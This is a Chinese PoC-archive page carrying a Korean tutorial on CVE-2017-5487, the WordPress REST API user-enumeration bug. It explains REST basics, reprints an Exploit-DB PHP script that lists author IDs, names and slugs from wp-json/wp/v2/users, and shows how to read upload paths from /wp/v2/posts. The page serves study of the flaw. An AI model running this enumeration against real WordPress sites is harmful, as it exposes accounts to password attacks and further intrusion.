关联漏洞
标题:
WordPress 安全漏洞
(CVE-2017-5487)
描述:WordPress是WordPress软件基金会的一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。 WordPress中的REST API实现过程中的wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php文件存在安全漏洞。远程攻击者可通过向wp-json/wp/v2/users发送请求利用该漏洞获取敏感信息。
描述
cve-2017-5487 wp rest api 취약점
介绍
1. CVE-2017-5487이란?
: 워드프레스 4.7.1 이전의 버전에서 wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php에 있는 REST API 구현에 있어 게시자 목록을 제한하지 않아 원격 공격자가 wp-json/wp/v2/users 요청을 통해 중요한 정보를 얻을 수 있는 취약점.
( 참고 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5487 )
무슨 말인지 모르겠으니 배경지식에 대해 알아본 뒤 실습을 통해 알아보도록 하자.
만약 배경지식이 필요없다 생각이 든다면 [3]부터 보면 된다.
2. REST API란?
: 간단히 말하자면 "무엇을 어떻게 한다" 를 정의한 API를 REST API라고 할 수 있다.
: 좀 더 자세히 설명하자면 HTTP URI로 정의된 리소스를 HTTP Method와 Payload를 이용하여 어떻게 한다는 것이 REST API이다.
: REST = REpresentational State Transter의 약자
2.1 HTTP URI로 정의된 리소스
: 리소스란 처리되는 대상을 의미
ex) JSON, XML 문서, jpg 등 이미지 파일, mp4 등 비디오 파일 등등..
: URI란 Uniform Resource Identifier의 약자로 통합 자원 식별자이다. 우리가 흔히 보는 URL도 URI의 일부인데 어떠한 자원을 식별하는 것을 말한다.
ex) http://rootable.tistory.com/user/test 를 통해 test라는 유저에 대한 정보를 획득할 수 있다면 이도 또한 URI이다.
2.2 HTTP Method
: 해당 메소드는 리소스가 어떤 형식이던지 상관없이 똑같이 동작한다.
: REST API에서 사용되는 메소드는 POST, GET, PUT, PATCH, DELETE 등이 있다. 주의할 점은 우리가 생각하는 기능과는 다르다는 점이다. 예를 들어 POST같은 경우 우리는 서버로 데이터나 문서를 요청할 때 사용하는 메소드라 생각하는데 REST API같은 경우는 생성(create) 기능을 한다.
* HTTP Method와 CRUD 연산 정리
HTTP Method
CRUD 연산
POST
create
GET
read
PUT
update / replace
PATCH
update / modify
DELETE
delete
* CRUD 연산이란 컴퓨터 소프트웨어가 기본적으로 데이터 처리할 때 사용하는 Create, Read, Update, Delete를 묶어서 일컫는 말이다.
ex) http://rootable.tistory.com의 users에 doni라는 사용자를 추가하라는 REST API
POST http://rootable.tistroy.com/users/doni
ex) 사용자 생성 시 직업, 나이, 성별 등 다양한 특성이 필요할 경우 XML이나 JSON 같은 다양한 표현 언어를 Body 부분에 명시하여 등록
POST http://rootable.tistory.com/users Content-Type: application/json
{
"username" : "doni"
"age" : "27"
}
3. 워드프레스의 REST API
: REST API가 리소스를 어떻게 하겠다는 미리 정의된 API라 하였다. 그렇다면 워드프레스에서 정의한 REST API는 무엇이 있을까?
아래의 표를 참고하자.
Resource Base Route
Posts /wp/v2/posts
Post Revisions /wp/v2/revisions
Categories /wp/v2/categories
Tags /wp/v2/tags
Pages /wp/v2/pages
Comments /wp/v2/comments
Taxonomies /wp/v2/taxonomies
Media /wp/v2/media
Users /wp/v2/users
Post Types /wp/v2/types
Post Statuses /wp/v2/statuses
Settings /wp/v2/settings
여러가지 REST API가 정의된 것을 볼 수 있다. 여기서 우리가 이번에 알아볼 CVE에서 나온 /wp/v2/users가 있는 것을 알 수 있다.
4. CVE 활용
4.1. 글작성자에 대한 정보 획득
- 아래는 EXPLOIT DB에서 찾은 코드이다. ( https://www.exploit-db.com/exploits/41497/ )
- 코드를 보면 알 수 있듯이 그냥 처리 결과를 깔끔하게 정리하여 화면에 뿌려주는게 다다. 굳이 이 익스플로잇 코드를 이용하지 않고 직접접근하여도 정보를 얻을 수는 있으므로 깔끔하게 보이기 위해 FU 취약점까지 갈 필요는 없다고 본다.
#!usr/bin/php
<?php
#Author: Mateus a.k.a Dctor
#fb: fb.com/hatbashbr/
#E-mail: dctoralves@protonmail.ch
#Site: https://mateuslino.tk
header ('Content-type: text/html; charset=UTF-8');
$url= "http://localhost/";
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
echo "*-----------------------------*\n";
foreach($json as $users){
echo "[*] ID : |" .$users['id'] ."|\n";
echo "[*] Name: |" .$users['name'] ."|\n";
echo "[*] User :|" .$users['slug'] ."|\n";
echo "\n";
}echo "*-----------------------------*";}
else{echo "[*] No user";}
?>
이를 wordpress를 설치한 곳에 php코드로 저장 후 실행시키면 아래와 같이 결과가 뜬다.
직접 접근할 경우는 아래와 같이 보인다. (잘 안보인다면 클릭)
이를 통해 알 수 있는 정보는 글을 작성한 사용자에 대한 ID, name 등 정보를 획득할 수 있다
참고) 회원가입되어 있는 모든 사용자가 보이는줄 알았지만 테스트한 결과 글 작성자의 계정만 보이는 것이다. CVE 설명을 보면 author라는 단어가 있는데 이게 바로 작성자의 의미인 듯 하다.
4.2 파일업로드 경로 획득
Wordpress에서의 REST API 중 /wp/v2/posts가 있다. 이에 접근하면 아래와 같이 포스팅한 글에 대한 정보가 보이는데 이 중 표시한 것처럼 파일업로드 경로를 획득할 수 있다. FU 취약점이 발견된다면 큰 도움이 될 것으로 보인다.
- posts를 할 경우 너무 많은 정보가 떠 불편할 경우 [ /wp-json/wp/v2/posts/20 ] 로 접근한다면 20번째 글에 대한 정보만 획득할 수 있다.
5. 참고
4.7 버전에서도 setting을 보거나 글을 수정하는 것은 불가능한 것으로 보인다,
- 세팅을 보려할 경우엔 rest_forbidden이 뜨며 접근이 금지된다.
- 첫번째 글을 수정하려 할 경우 글을 읽을 수 없다는 메시지가 뜬다.
- user를 보는 것보다 이게 더 큰 것일 텐데 조금 아쉽다.. 검색 결과 이에 해당하는 취약점은 없는 것으로 보인다. 다만 4.7.1 이전의 버전에 대해 타사용자의 글을 수정할 수 있는 취약점이 존재하는 것으로 보인다. 이는 다음 포스팅에서 진행하도록 하겠다.
참고)
1. REST API 설명 : http://blog.naver.com/PostView.nhn?blogId=complusblog&logNo=220986337770
2. 유니코드 번역 : http://koreanstudies.com/unicode-converter.html
3. 다운그레이드 (하다가 진행이 안되서 다시 설치했으므로 안새로 설치하는 것을 추천한다)
: http://www.bbsetheme.co.kr/%EC%9B%8C%EB%93%9C%ED%94%84%EB%A0%88%EC%8A%A4-%EB%B2%84%EC%A0%84-%EB%8B%A4%EC%9A%B4%EA%B7%B8%EB%A0%88%EC%9D%B4%EB%93%9C-%ED%95%98%EA%B8%B0/
文件快照
[4.0K] /data/pocs/8663b9e01472b8accab7be5a07db434bb4350e28
└── [6.5K] README.md
0 directories, 1 file
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。